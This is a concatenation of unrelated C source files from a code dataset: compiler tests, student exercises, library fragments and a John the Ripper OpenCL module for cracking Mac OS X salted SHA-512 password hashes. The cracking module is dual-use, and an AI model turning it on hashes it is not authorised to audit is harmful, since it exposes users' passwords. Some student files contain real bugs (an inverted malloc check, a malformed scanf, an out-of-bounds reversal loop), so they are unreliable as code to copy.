* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdlib.h>
#pragma pack(1)
struct nested {
char x;
int y;
char z;
char zz;
char zzz;
};
#pragma pack(4)
struct test {
struct nested s1;
int a;
char b;
char c;
};
int main() {
struct test t = { { 1, 2, 3 }, 4, 5 };
long base = (long)&t;
int a_offset = (long)&t.a - base;
if (a_offset != 8) {
abort();
}
int c_offset = (long)&t.c - base;
if (c_offset != 13) {
abort();
}
}
|
the_stack_data/87636500.c
|
#include <stdio.h>
void main()
{
int n,i,j;
int high,low;
int a[100];
printf("Enter the total number of integers\n");
scanf("%d",&n);
printf("Enter the numbers\n");
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
high = a[0];
low = a[0];
for(j=0;j<n;j++)
{
if(a[j]>high)
{
high = a[j];
}
else if(a[j] < low)
{
low = a[j];
}
}
printf("Highest Number = %d\n",high);
printf("Lowest Number = %d\n",low);
}
|
the_stack_data/132952065.c
|
#include <stdio.h>
#include <string.h>
#define MOD (1000000007LL)
int n;
long long do_a_dim(int v[1009][1009])
{
int i, j;
long long ans = 0;
static int r[1009][1009];
static int s[1009];
static long long m[1009];
int t;
memset(r, 0, sizeof(r));
for (i = 1; i <= n; ++i)
for (j = n; j >= 1; --j)
r[i][j] = (v[i][j] == 0 ? 0 : r[i][j + 1] + 1);
for (i = 1; i <= n; ++i) {
t = 1;
for (j = 1; j <= n; ++j) {
while (t > 1 && r[j][i] < r[s[t - 1]][i])
--t;
m[j] = m[s[t - 1]] + (j - s[t - 1]) * r[j][i];
ans += m[j];
s[t++] = j;
}
}
return ans;
}
int main(void)
{
int i, j, k;
long long ans = 0;
long long tot = 0;
static int v[32][1009][1009];
#ifdef DEBUG
freopen("in", "r", stdin);
#endif
scanf("%d", &n);
for (i = 1; i <= n; ++i)
for (j = 1; j <= n; ++j) {
int t;
scanf("%d", &t);
for (k = 0; k < 32; ++k)
v[k][i][j] = (t >> k) & 1;
}
for (k = 0; k < 32; ++k)
ans = (ans + ((do_a_dim(v[k]) % MOD) << k) % MOD) % MOD;
printf("%lld ", ans);
for (i = 1; i <= n; ++i)
for (j = 1; j <= n; ++j)
for (k = 0; k < 32; ++k)
v[k][i][j] ^= 1;
for (i = 1; i <= n; ++i)
for (j = 1; j <= n; ++j)
tot += (n - i + 1) * (n - j + 1);
ans = 0;
for (k = 0; k < 32; ++k) {
long long t = tot - do_a_dim(v[k]);
ans = (ans + ((t % MOD) << k)) % MOD;
}
printf("%lld\n", ans);
return 0;
}
|
the_stack_data/64201106.c
|
/*
* Mac OS X 10.7+ salted SHA-512 password hashing, OpenCL interface.
* Please note that in current comparison function, we use computed a77
* compares with ciphertext d80. For more details, refer to:
* http://www.openwall.com/lists/john-dev/2012/04/11/13
*
* Copyright (c) 2008,2011 Solar Designer (original CPU-only code)
* Copyright (c) 2012 myrice (interfacing to OpenCL)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* There's ABSOLUTELY NO WARRANTY, express or implied.
*/
#ifdef HAVE_OPENCL
#if FMT_EXTERNS_H
extern struct fmt_main fmt_opencl_xsha512;
#elif FMT_REGISTERS_H
john_register_one(&fmt_opencl_xsha512);
#else
#include <string.h>
#include "arch.h"
#include "common-opencl.h"
#include "params.h"
#include "options.h"
#include "common.h"
#include "formats.h"
#include "johnswap.h"
#include "sha2.h"
#include "rawSHA512_common.h"
#define FORMAT_LABEL "XSHA512-free-opencl"
#define FORMAT_NAME "Mac OS X 10.7+"
#define ALGORITHM_NAME "SHA512 OpenCL (efficient at \"many salts\" only)"
#define BENCHMARK_COMMENT ""
#define KERNEL_NAME "kernel_xsha512"
#define CMP_KERNEL_NAME "kernel_cmp"
#define MIN_KEYS_PER_CRYPT (1024*512)
#define MAX_KEYS_PER_CRYPT (MIN_KEYS_PER_CRYPT)
#define hash_addr(j,idx) (((j)*(global_work_size))+(idx))
#define SALT_SIZE 4
#define SALT_ALIGN 4
#define BINARY_SIZE 8
#define FULL_BINARY_SIZE 64
#define BINARY_ALIGN sizeof(uint64_t)
#define PLAINTEXT_LENGTH 20
typedef struct { // notice memory align problem
uint32_t buffer[32]; //1024 bits
uint32_t buflen;
} xsha512_ctx;
#define OCL_CONFIG "xsha512"
typedef struct {
uint8_t v[SALT_SIZE]; // 32bits
} xsha512_salt;
typedef struct {
uint8_t length;
char v[PLAINTEXT_LENGTH + 1];
} xsha512_key;
typedef struct {
uint64_t v[BINARY_SIZE / 8]; // up to 512 bits
} xsha512_hash;
static xsha512_key *gkey;
static xsha512_hash *ghash;
static xsha512_salt gsalt;
static uint8_t xsha512_key_changed;
static uint8_t hash_copy_back;
//OpenCL variables:
static cl_mem mem_in, mem_out, mem_salt, mem_binary, mem_cmp;
static cl_kernel cmp_kernel;
static struct fmt_main *self;
#define insize (sizeof(xsha512_key) * global_work_size)
#define outsize (sizeof(xsha512_hash) * global_work_size)
#define STEP 0
#define SEED 256
// This file contains auto-tuning routine(s). Has to be included after formats definitions.
#include "opencl-autotune.h"
#include "memdbg.h"
static const char * warn[] = {
"xfer: ", ", crypt: "
};
/* ------- Helper functions ------- */
static size_t get_task_max_work_group_size()
{
return MIN(autotune_get_task_max_work_group_size(FALSE, 0, crypt_kernel),
autotune_get_task_max_work_group_size(FALSE, 0, cmp_kernel));
}
static void create_clobj(size_t gws, struct fmt_main *self)
{
gkey = mem_calloc(gws, sizeof(xsha512_key));
ghash = mem_calloc(gws, sizeof(xsha512_hash));
///Allocate memory on the GPU
mem_salt =
clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, SALT_SIZE, NULL,
&ret_code);
HANDLE_CLERROR(ret_code, "Error while allocating memory for salt");
mem_in =
clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, insize, NULL,
&ret_code);
HANDLE_CLERROR(ret_code, "Error while allocating memory for passwords");
mem_out =
clCreateBuffer(context[gpu_id], CL_MEM_WRITE_ONLY, outsize, NULL,
&ret_code);
HANDLE_CLERROR(ret_code, "Error while allocating memory for hashes");
mem_binary =
clCreateBuffer(context[gpu_id], CL_MEM_READ_ONLY, sizeof(uint64_t),
NULL, &ret_code);
HANDLE_CLERROR(ret_code, "Error while allocating memory for binary");
mem_cmp =
clCreateBuffer(context[gpu_id], CL_MEM_WRITE_ONLY,
sizeof(uint32_t), NULL, &ret_code);
HANDLE_CLERROR(ret_code,
"Error while allocating memory for cmp_all result");
///Assign crypt kernel parameters
clSetKernelArg(crypt_kernel, 0, sizeof(mem_in), &mem_in);
clSetKernelArg(crypt_kernel, 1, sizeof(mem_out), &mem_out);
clSetKernelArg(crypt_kernel, 2, sizeof(mem_salt), &mem_salt);
///Assign cmp kernel parameters
clSetKernelArg(cmp_kernel, 0, sizeof(mem_binary), &mem_binary);
clSetKernelArg(cmp_kernel, 1, sizeof(mem_out), &mem_out);
clSetKernelArg(cmp_kernel, 2, sizeof(mem_cmp), &mem_cmp);
}
static void release_clobj(void)
{
HANDLE_CLERROR(clReleaseMemObject(mem_in), "Release mem in");
HANDLE_CLERROR(clReleaseMemObject(mem_salt), "Release mem salt");
HANDLE_CLERROR(clReleaseMemObject(mem_out), "Release mem out");
MEM_FREE(ghash);
MEM_FREE(gkey);
}
static void init(struct fmt_main *_self)
{
self = _self;
opencl_prepare_dev(gpu_id);
}
static void reset(struct db_main *db)
{
if (!autotuned) {
char build_opts[64];
snprintf(build_opts, sizeof(build_opts),
"-DPLAINTEXT_LENGTH=%u -DSALT_SIZE=%d",
PLAINTEXT_LENGTH, SALT_SIZE);
opencl_init("$JOHN/kernels/xsha512_kernel.cl",
gpu_id, build_opts);
crypt_kernel = clCreateKernel(program[gpu_id], KERNEL_NAME, &ret_code);
HANDLE_CLERROR(ret_code, "Error while creating crypt_kernel");
cmp_kernel =
clCreateKernel(program[gpu_id], CMP_KERNEL_NAME, &ret_code);
HANDLE_CLERROR(ret_code, "Error while creating cmp_kernel");
// Initialize openCL tuning (library) for this format.
opencl_init_auto_setup(SEED, 0, NULL, warn, 1, self,
create_clobj, release_clobj,
sizeof(xsha512_key), 0, db);
// Auto tune execution from shared/included code.
autotune_run(self, 1, 0, 500);
}
}
static void done(void)
{
if (autotuned) {
release_clobj();
HANDLE_CLERROR(clReleaseKernel(crypt_kernel), "Release kernel");
HANDLE_CLERROR(clReleaseKernel(cmp_kernel), "Release kernel");
HANDLE_CLERROR(clReleaseProgram(program[gpu_id]), "Release Program");
autotuned--;
}
}
inline static void copy_hash_back()
{
if (!hash_copy_back) {
HANDLE_CLERROR(clEnqueueReadBuffer(queue[gpu_id], mem_out, CL_TRUE, 0,outsize, ghash, 0, NULL, NULL), "Copy data back");
hash_copy_back = 1;
}
}
static void set_key(char *key, int index)
{
int length = strlen(key);
if (length > PLAINTEXT_LENGTH)
length = PLAINTEXT_LENGTH;
gkey[index].length = length;
memcpy(gkey[index].v, key, length);
xsha512_key_changed = 1;
}
static char *get_key(int index)
{
gkey[index].v[gkey[index].length] = 0;
return gkey[index].v;
}
static void *salt(char *ciphertext)
{
static union {
unsigned char c[SALT_SIZE];
uint32_t dummy;
} buf;
unsigned char *out = buf.c;
char *p;
int i;
ciphertext += 6;
p = ciphertext;
for (i = 0; i < sizeof(buf.c); i++) {
out[i] =
(atoi16[ARCH_INDEX(*p)] << 4) | atoi16[ARCH_INDEX(p[1])];
p += 2;
}
return out;
}
static int binary_hash_0(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_0;
}
static int binary_hash_1(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_1;
}
static int binary_hash_2(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_2;
}
static int binary_hash_3(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_3;
}
static int binary_hash_4(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_4;
}
static int binary_hash_5(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_5;
}
static int binary_hash_6(void *binary)
{
return *((uint32_t *) binary + 6) & PH_MASK_6;
}
static int get_hash_0(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[index] & PH_MASK_0;
}
static int get_hash_1(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[index] & PH_MASK_1;
}
static int get_hash_2(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[hash_addr(0, index)] & PH_MASK_2;
}
static int get_hash_3(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[hash_addr(0, index)] & PH_MASK_3;
}
static int get_hash_4(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[hash_addr(0, index)] & PH_MASK_4;
}
static int get_hash_5(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[hash_addr(0, index)] & PH_MASK_5;
}
static int get_hash_6(int index)
{
copy_hash_back();
return ((uint64_t *) ghash)[hash_addr(0, index)] & PH_MASK_6;
}
static int salt_hash(void *salt)
{
return *(uint32_t *) salt & (SALT_HASH_SIZE - 1);
}
static void set_salt(void *salt)
{
memcpy(gsalt.v, (uint8_t *) salt, SALT_SIZE);
HANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_salt, CL_FALSE,
0, SALT_SIZE, &gsalt, 0, NULL, NULL), "Copy memsalt");
}
static int crypt_all(int *pcount, struct db_salt *salt)
{
const int count = *pcount;
size_t *lws = local_work_size ? &local_work_size : NULL;
global_work_size = GET_MULTIPLE_OR_BIGGER(count, local_work_size);
///Copy data to GPU memory
if (xsha512_key_changed || ocl_autotune_running) {
BENCH_CLERROR(clEnqueueWriteBuffer
(queue[gpu_id], mem_in, CL_FALSE, 0, insize, gkey, 0, NULL,
multi_profilingEvent[0]), "Copy memin");
}
///Run kernel
BENCH_CLERROR(clEnqueueNDRangeKernel
(queue[gpu_id], crypt_kernel, 1, NULL, &global_work_size, lws,
0, NULL, multi_profilingEvent[1]), "Set ND range");
/// Reset key to unchanged and hashes uncopy to host
xsha512_key_changed = 0;
hash_copy_back = 0;
return count;
}
static int cmp_all(void *binary, int count)
{
uint32_t result;
///Copy binary to GPU memory
HANDLE_CLERROR(clEnqueueWriteBuffer(queue[gpu_id], mem_binary,
CL_FALSE, 0, sizeof(uint64_t), ((uint64_t *) binary) + 3, 0,
NULL, NULL), "Copy mem_binary");
///Run kernel
HANDLE_CLERROR(clEnqueueNDRangeKernel
(queue[gpu_id], cmp_kernel, 1, NULL, &global_work_size, &local_work_size,
0, NULL, NULL), "Set ND range");
/// Copy result out
HANDLE_CLERROR(clEnqueueReadBuffer(queue[gpu_id], mem_cmp, CL_TRUE, 0,
sizeof(uint32_t), &result, 0, NULL, NULL), "Copy data back");
return result;
}
static int cmp_one(void *binary, int index)
{
uint64_t *b = (uint64_t *) binary;
uint64_t *t = (uint64_t *) ghash;
copy_hash_back();
if (b[3] != t[hash_addr(0, index)])
return 0;
return 1;
}
static int cmp_exact(char *source, int index)
{
SHA512_CTX ctx;
int i;
uint64_t *b, crypt_out[8];
SHA512_Init(&ctx);
SHA512_Update(&ctx, gsalt.v, SALT_SIZE);
SHA512_Update(&ctx, gkey[index].v, gkey[index].length);
SHA512_Final((unsigned char *) (crypt_out), &ctx);
#ifdef SIMD_COEF_64
alter_endianity_to_BE64(crypt_out, DIGEST_SIZE / sizeof(uint64_t));
#endif
b = (uint64_t *) sha512_common_binary_xsha512(source);
for (i = 0; i < FULL_BINARY_SIZE / 8; i++) { //examin 512bits
if (b[i] != crypt_out[i])
return 0;
}
return 1;
}
struct fmt_main fmt_opencl_xsha512 = {
{
FORMAT_LABEL,
FORMAT_NAME,
ALGORITHM_NAME,
BENCHMARK_COMMENT,
XSHA512_BENCHMARK_LENGTH,
0,
PLAINTEXT_LENGTH,
FULL_BINARY_SIZE,
BINARY_ALIGN,
SALT_SIZE,
SALT_ALIGN,
MIN_KEYS_PER_CRYPT,
MAX_KEYS_PER_CRYPT,
FMT_CASE | FMT_8_BIT,
#if FMT_MAIN_VERSION > 11
{ NULL },
{ FORMAT_TAG },
#endif
sha512_common_tests_xsha512_20
}, {
init,
done,
reset,
sha512_common_prepare_xsha512,
sha512_common_valid_xsha512,
sha512_common_split_xsha512,
sha512_common_binary_xsha512_rev,
salt,
#if FMT_MAIN_VERSION > 11
{ NULL },
#endif
fmt_default_source,
{
binary_hash_0,
binary_hash_1,
binary_hash_2,
binary_hash_3,
binary_hash_4,
binary_hash_5,
binary_hash_6
},
salt_hash,
NULL,
set_salt,
set_key,
get_key,
fmt_default_clear_keys,
crypt_all,
{
get_hash_0,
get_hash_1,
get_hash_2,
get_hash_3,
get_hash_4,
get_hash_5,
get_hash_6
},
cmp_all,
cmp_one,
cmp_exact
}
};
#endif /* plugin stanza */
#endif /* HAVE_OPENCL */
|
the_stack_data/24029.c
|
#include<stdio.h>
int main()
{
long long n, m, i, ans = 1;
scanf("%lld %lld", &m, &n);
if(m == 0)
{
printf("0");
return 0;
}
for(i = n + 1;i <= m; i++)
{
ans *= i;
}
for(i = 1; i <= m - n; i++){
ans /= i;
}
printf("%lld",ans);
return 0;
}
|
the_stack_data/178264184.c
|
#include <stdio.h>
#define N 1024
int main(void)
{
char a[N], c;
char *p = a;
printf("Enter a message: ");
while((c = getchar()) != '\n' && p < a + N)
{
*p++ = c;
}
printf("Reversal is: ");
while(p-- >= a)
{
printf("%c", *p);
}
printf("\n");
return 0;
}
|
the_stack_data/462349.c
|
#include <stdio.h>
#include <ctype.h>
main()
{
char alphabet;
printf("Enter an alphabet\n");
putchar('\n');
alphabet = getchar();
if(islower(alphabet))
putchar(toupper(alphabet));
else
putchar(tolower(alphabet));
}
|
the_stack_data/20450104.c
|
/* $OpenBSD: rsa_none.c,v 1.10 2014/10/18 17:20:40 jsing Exp $ */
/* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/err.h>
#include <openssl/rsa.h>
int
RSA_padding_add_none(unsigned char *to, int tlen, const unsigned char *from,
int flen)
{
if (flen > tlen) {
RSAerror(RSA_R_DATA_TOO_LARGE_FOR_KEY_SIZE);
return 0;
}
if (flen < tlen) {
RSAerror(RSA_R_DATA_TOO_SMALL_FOR_KEY_SIZE);
return 0;
}
memcpy(to, from, flen);
return 1;
}
int
RSA_padding_check_none(unsigned char *to, int tlen, const unsigned char *from,
int flen, int num)
{
if (flen > tlen) {
RSAerror(RSA_R_DATA_TOO_LARGE);
return -1;
}
memset(to, 0, tlen - flen);
memcpy(to + tlen - flen, from, flen);
return tlen;
}
|
the_stack_data/147101.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct item
{
char *item_name;
int qty;
float price;
float amount;
};
void read_item(struct item *i);
void print_item(struct item *i);
int main(void)
{
struct item itm;
struct item *p_item;
p_item = &itm;
p_item->item_name = (char *)malloc(30 * sizeof(char));
if(p_item)
exit(-1);
else
{
read_item(p_item);
print_item(p_item);
}
free(p_item->item_name);
return 0;
}
void read_item(struct item *i)
{
printf("Enter product name: ");
scanf("s", i->item_name);
printf("Enter price: ");
scanf("%f", &i->price);
printf("Enter quantity: ");
scanf("%d", &i->qty);
i->amount = i->price * (float)i->qty;
}
void print_item(struct item *i)
{
printf("\nName: %s", i->item_name);
printf("\nPrice: %f", i->price);
printf("\nQuantity: %d", i->qty);
printf("\nTotal Amount: %.2f", i->amount);
}
|
the_stack_data/307353.c
|
// RUN: %clang_cc1 -verify -Wall -Wextra -Wunused-macros -E -frewrite-includes %s
// expected-no-diagnostics
#pragma GCC visibility push (default)
#define USED_MACRO 1
int test() { return USED_MACRO; }
|
the_stack_data/89538.c
|
/* zmalloc - total amount of allocated memory aware version of malloc()
*
* Copyright (c) 2006-2009, Salvatore Sanfilippo <antirez at gmail dot com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdlib.h>
#include <string.h>
static size_t used_memory = 0;
void *zmalloc(size_t size) {
void *ptr = malloc(size+sizeof(size_t));
*((size_t*)ptr) = size;
used_memory += size+sizeof(size_t);
return (char*)ptr+sizeof(size_t);
}
/*
* 对已经分配好内存的 ptr 重新分配内存
*/
void *zrealloc(void *ptr, size_t size) {
void *realptr;
size_t oldsize;
void *newptr;
if (ptr == NULL) return zmalloc(size);
// todo 此处的计算不太明白, 需要后续阅读理解
realptr = (char*)ptr-sizeof(size_t);
oldsize = *((size_t*)realptr);
newptr = realloc(realptr,size+sizeof(size_t));
if (!newptr) return NULL;
*((size_t*)newptr) = size;
used_memory -= oldsize;
used_memory += size;
// 最终返回重新分配内存的大小
return (char*)newptr+sizeof(size_t);
}
/*
* 释放参数指针指向的内存
*/
void zfree(void *ptr) {
void *realptr;
size_t oldsize;
// 当参数 ptr 为 NULL 时, 直接结束运行此函数
if (ptr == NULL) return;
// todo 此处运算没搞明白
realptr = (char*)ptr-sizeof(size_t);
oldsize = *((size_t*)realptr);
// used_memory 是本文件中的全局变量, 整个文件中都可以使用
used_memory -= oldsize+sizeof(size_t);
// 最终释放真正的内存地址
free(realptr);
}
/*
* zstrdup redis 字符串复制方法
*/
char *zstrdup(const char *s) {
size_t l = strlen(s)+1;
char *p = zmalloc(l);
memcpy(p,s,l);
return p;
}
size_t zmalloc_used_memory(void) {
return used_memory;
}
|
the_stack_data/146289.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_recursive_power.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: anajmi <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/07/07 15:17:27 by anajmi #+# #+# */
/* Updated: 2021/07/11 21:45:33 by anajmi ### ########.fr */
/* */
/* ************************************************************************** */
int ft_recursive_power(int nb, int power)
{
if (power < 0)
return (0);
else if (power == 0 || nb == 0)
return (1);
else if (power == 1)
{
return (nb);
}
return (nb * ft_recursive_power(nb, power - 1));
}
|
the_stack_data/1009727.c
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
void strreverse(char* begin, char* end){
char aux;
while(end>begin)
aux=*end, *end--=*begin, *begin++=aux;
}
void itoa_(int value, char *str){
char* wstr=str;
int sign;
div_t res;
if ((sign=value) < 0) value = -value;
do {
*wstr++ = (value%10)+'0';
}while(value=value/10);
if(sign<0) *wstr++='-';
*wstr='\0';
strreverse(str,wstr-1);
}
int main(int argc, char *argv[]){
if(argc > 2){
char *ip;
int fd, numbytes,puerto, longMen;
char buf[100];
char *cLongMen=(char*)malloc ( 4*sizeof(char) );
puerto = atoi(argv[2]);
ip = argv[1];
char *mensajeEnviar = "otro mensaje desde el cliente en C \n";
struct hostent *he;
struct sockaddr_in server;
if ((he = gethostbyname(ip)) == NULL){
printf("gethostbyname() error\n");
exit(0);
}
if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("socket() error\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons(puerto);
server.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(server.sin_zero),8);
if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr)) == -1){
printf("Connect() error\n");
exit(0);
}
longMen = strlen(mensajeEnviar);
itoa_(longMen,cLongMen);
strcat(cLongMen,"\n");
send (fd,cLongMen,4,0);
send (fd,mensajeEnviar,longMen,0);
if ((numbytes=recv(fd,buf,100,0)) == -1){
printf("Error en recv() \n");
exit(0);
}
buf[numbytes] = '\0';
printf("Mensaje del Servidor: %s\n",buf);
close(fd);
}else{
printf("No se ingreso el IP y Puerto por parametro\n");
}
}
|
the_stack_data/167331563.c
|
#include <stdio.h>
#include <unistd.h>
#define T 4
#define MAX 34
//Probando git
struct RegCod {
int offset;
char cad[MAX];
};
//Prototipos
int compararCadena(char c1[], char c2[]);
void codificarCadena(char c[], int offset);
void copiarCadena(char destino[], char origen[]);
int main(){
struct RegCod registro[T];
char cadena[MAX];
int leidos, longitud, offset;
printf("IIntroduzca cadena para codificar (\"fin\" para terminar): \n");
leidos = read(0, cadena, MAX);
cadena[leidos-1] = '\0';
int posicionActual = 0;
while (compararCadena(cadena, "fin") != 0){
longitud = leidos -1;
offset = (longitud % 2) + 1;
codificarCadena(cadena, offset);
printf("Cadena codificada: %s\n", cadena);
registro[posicionActual].offset = offset;
copiarCadena(registro[posicionActual].cad, cadena);
posicionActual = (posicionActual + 1)%4;
printf("Introduzca cadena para codificar (\"fin\" para terminar): \n");
leidos = read(0, cadena, MAX);
cadena[leidos-1] = '\0';
}
printf("Contenido del registro:\n");
for(int i = 0; i < T; i++){
printf("Registro %d\n", i);
printf("\toffset = %d\n", registro[i].offset);
printf("\tcodificacion = %s\n", registro[i].cad);
}
}
int compararCadena(char c1[], char c2[]){
int posicion = 0;
while(c1[posicion] == c2[posicion]){
if(c1[posicion] == '\0' || c2[posicion] == '\0'){
break;
}
posicion++;
}
if(c1[posicion] == '\0' && c2[posicion] == '\0'){ // Las cadenas son iguales
return 0;
} else {
return 1; }
}
void codificarCadena(char c[], int offset){
int pos = 0;
while(c[pos] != '\0'){
if(offset == 1){
c[pos]+=1;
pos++;
} else {
c[pos]+=2;
pos++;
}
}
}
void copiarCadena(char destino[], char origen[]){
for(int i = 0; i < MAX; i++){
destino[i] = origen[i];
}
}
|
the_stack_data/170453219.c
|
/* name.c XL reg distributor */
#include <stdio.h>
#include <stdlib.h>
extern int yylineno;
char *Names[] = {"t0", "t1", "t2", "t3", "t4", "t5", "t6", "t7",
"t8", "t9", "t10", "t11", "t12", "t13", "t14", "t15"};
char **Namep = Names; /* init as the begin addr of Names */
char *newname()
{
if(Namep >= &Names[sizeof(Names)/sizeof(*Names)]) {
/* If current Namep >= the last (char *) pointer,
* just print error info(don't have free names).
*/
fprintf(stderr, "%d: Expression too complex\n", yylineno);
exit(1);
}
return (*Namep++); /* Namep always points to the next available name */
}
freename(s)
char *s;
{
if(Namep > Names) {
/* we can write *Namep? seems a little bit wired */
*--Namep = s; /* Namep always points to the next available name */
} else {
fprintf(stderr, "%d: (Internal error) Name stack underflow\n", yylineno);
}
}
|
the_stack_data/62637287.c
|
/**
******************************************************************************
* @file stm32f0xx_ll_usart.c
* @author MCD Application Team
* @version V1.5.0
* @date 04-November-2016
* @brief USART LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2016 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
